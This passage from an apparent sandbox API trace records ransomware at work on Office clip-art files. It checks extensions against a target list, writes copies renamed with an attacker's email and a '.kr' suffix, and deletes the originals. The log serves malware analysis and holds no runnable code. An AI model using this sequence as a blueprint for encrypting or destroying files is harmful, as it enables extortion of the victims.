lstrlenW (lpString=".rar") returned 4 [0180.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString=".bz2") returned 4 [0180.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString=".7z") returned 3 [0180.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.205] lstrlenW (lpString=".dbf") returned 4 [0180.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.205] lstrlenW (lpString=".1cd") returned 4 [0180.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.205] lstrlenW (lpString=".jpg") returned 4 [0180.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.205] lstrlenW (lpString=".doc") returned 4 [0180.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString=".docx") returned 5 [0180.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.205] lstrlenW (lpString=".pdf") returned 4 [0180.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString=".xls") returned 4 [0180.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.206] lstrlenW (lpString=".xlsx") returned 5 [0180.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.206] lstrlenW (lpString=".ppt") returned 4 [0180.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.206] lstrlenW (lpString=".zip") returned 4 [0180.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.206] lstrlenW (lpString=".rar") returned 4 [0180.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.206] lstrlenW (lpString=".bz2") returned 4 [0180.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.206] lstrlenW (lpString=".7z") returned 3 [0180.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.206] lstrlenW (lpString=".dbf") returned 4 [0180.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.206] lstrlenW (lpString=".1cd") returned 4 [0180.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0180.206] lstrlenW (lpString=".jpg") returned 4 [0180.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.206] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0180.206] lstrlenW (lpString="BL00148_.WMF") returned 12 [0180.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.207] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1696) returned 1 [0180.207] CloseHandle (hObject=0x3f4) returned 1 [0180.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0180.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.208] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.208] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.208] GetLastError () returned 0x0 [0180.208] ReadFile (in: hFile=0x3f4, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x6a0, lpOverlapped=0x0) returned 1 [0180.485] WriteFile (in: hFile=0x3fc, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x6b0, lpOverlapped=0x0) returned 1 [0180.486] ReadFile (in: hFile=0x3f4, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.486] WriteFile (in: hFile=0x3fc, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.486] SetEndOfFile (hFile=0x3fc) returned 1 [0180.486] CloseHandle (hObject=0x3fc) returned 1 [0180.487] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.487] SetEndOfFile (hFile=0x3f4) returned 1 [0180.490] CloseHandle (hObject=0x3f4) returned 1 [0180.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0180.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0181.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.237] lstrlenW (lpString=".doc") returned 4 [0181.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString=".docx") returned 5 [0181.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.238] lstrlenW (lpString=".pdf") returned 4 [0181.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString=".xls") returned 4 [0181.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.238] lstrlenW (lpString=".xlsx") returned 5 [0181.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.238] lstrlenW (lpString=".ppt") returned 4 [0181.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.238] lstrlenW (lpString=".zip") returned 4 [0181.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.238] lstrlenW (lpString=".rar") returned 4 [0181.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString=".bz2") returned 4 [0181.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString=".7z") returned 3 [0181.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.238] lstrlenW (lpString=".dbf") returned 4 [0181.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.238] lstrlenW (lpString=".1cd") returned 4 [0181.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.238] lstrlenW (lpString=".jpg") returned 4 [0181.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.238] lstrlenW (lpString=".doc") returned 4 [0181.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.239] lstrlenW (lpString=".docx") returned 5 [0181.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.239] lstrlenW (lpString=".pdf") returned 4 [0181.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.239] lstrlenW (lpString=".xls") returned 4 [0181.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.239] lstrlenW (lpString=".xlsx") returned 5 [0181.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.239] lstrlenW (lpString=".ppt") returned 4 [0181.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.239] lstrlenW (lpString=".zip") returned 4 [0181.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.239] lstrlenW (lpString=".rar") returned 4 [0181.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.239] lstrlenW (lpString=".bz2") returned 4 [0181.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.239] lstrlenW (lpString=".7z") returned 3 [0181.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.239] lstrlenW (lpString=".dbf") returned 4 [0181.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.239] lstrlenW (lpString=".1cd") returned 4 [0181.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0181.239] lstrlenW (lpString=".jpg") returned 4 [0181.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.239] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.240] lstrlenW (lpString="BL00242_.WMF") returned 12 [0181.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.328] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4024) returned 1 [0181.328] CloseHandle (hObject=0x45c) returned 1 [0181.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0181.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0181.935] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.936] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0181.937] GetLastError () returned 0x0 [0181.937] ReadFile (in: hFile=0x3e8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xfb8, lpOverlapped=0x0) returned 1 [0181.938] WriteFile (in: hFile=0x488, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xfc0, lpOverlapped=0x0) returned 1 [0181.939] ReadFile (in: hFile=0x3e8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.939] WriteFile (in: hFile=0x488, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0181.940] SetEndOfFile (hFile=0x488) returned 1 [0181.940] CloseHandle (hObject=0x488) returned 1 [0181.941] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.941] SetEndOfFile (hFile=0x3e8) returned 1 [0181.947] CloseHandle (hObject=0x3e8) returned 1 [0181.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.948] lstrlenW (lpString=".doc") returned 4 [0181.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.948] lstrlenW (lpString=".docx") returned 5 [0181.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.948] lstrlenW (lpString=".pdf") returned 4 [0181.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.948] lstrlenW (lpString=".xls") returned 4 [0181.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.948] lstrlenW (lpString=".xlsx") returned 5 [0181.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.948] lstrlenW (lpString=".ppt") returned 4 [0181.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.948] lstrlenW (lpString=".zip") returned 4 [0181.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.949] lstrlenW (lpString=".rar") returned 4 [0181.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString=".bz2") returned 4 [0181.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString=".7z") returned 3 [0181.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.949] lstrlenW (lpString=".dbf") returned 4 [0181.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.949] lstrlenW (lpString=".1cd") returned 4 [0181.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.949] lstrlenW (lpString=".jpg") returned 4 [0181.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.949] lstrlenW (lpString=".doc") returned 4 [0181.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString=".docx") returned 5 [0181.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.949] lstrlenW (lpString=".pdf") returned 4 [0181.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString=".xls") returned 4 [0181.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.949] lstrlenW (lpString=".xlsx") returned 5 [0181.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.949] lstrlenW (lpString=".ppt") returned 4 [0181.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.949] lstrlenW (lpString=".zip") returned 4 [0181.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.949] lstrlenW (lpString=".rar") returned 4 [0181.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.950] lstrlenW (lpString=".bz2") returned 4 [0181.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.950] lstrlenW (lpString=".7z") returned 3 [0181.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.950] lstrlenW (lpString=".dbf") returned 4 [0181.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.950] lstrlenW (lpString=".1cd") returned 4 [0181.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0181.950] lstrlenW (lpString=".jpg") returned 4 [0181.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.950] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0181.950] lstrlenW (lpString="BL00273_.WMF") returned 12 [0181.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0181.951] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3780) returned 1 [0181.951] CloseHandle (hObject=0x3e8) returned 1 [0181.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0181.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0181.951] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.952] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0181.952] GetLastError () returned 0x0 [0181.952] ReadFile (in: hFile=0x3e8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xec4, lpOverlapped=0x0) returned 1 [0181.954] WriteFile (in: hFile=0x488, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xed0, lpOverlapped=0x0) returned 1 [0181.955] ReadFile (in: hFile=0x3e8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.955] WriteFile (in: hFile=0x488, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0181.955] SetEndOfFile (hFile=0x488) returned 1 [0181.955] CloseHandle (hObject=0x488) returned 1 [0181.956] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.956] SetEndOfFile (hFile=0x3e8) returned 1 [0181.958] CloseHandle (hObject=0x3e8) returned 1 [0181.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0181.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.960] lstrlenW (lpString=".doc") returned 4 [0181.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.960] lstrlenW (lpString=".docx") returned 5 [0181.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0181.960] lstrlenW (lpString=".pdf") returned 4 [0181.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.960] lstrlenW (lpString=".xls") returned 4 [0181.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.960] lstrlenW (lpString=".xlsx") returned 5 [0181.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0181.960] lstrlenW (lpString=".ppt") returned 4 [0181.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0181.960] lstrlenW (lpString=".zip") returned 4 [0181.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.960] lstrlenW (lpString=".rar") returned 4 [0181.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.960] lstrlenW (lpString=".bz2") returned 4 [0181.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.960] lstrlenW (lpString=".7z") returned 3 [0181.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.960] lstrlenW 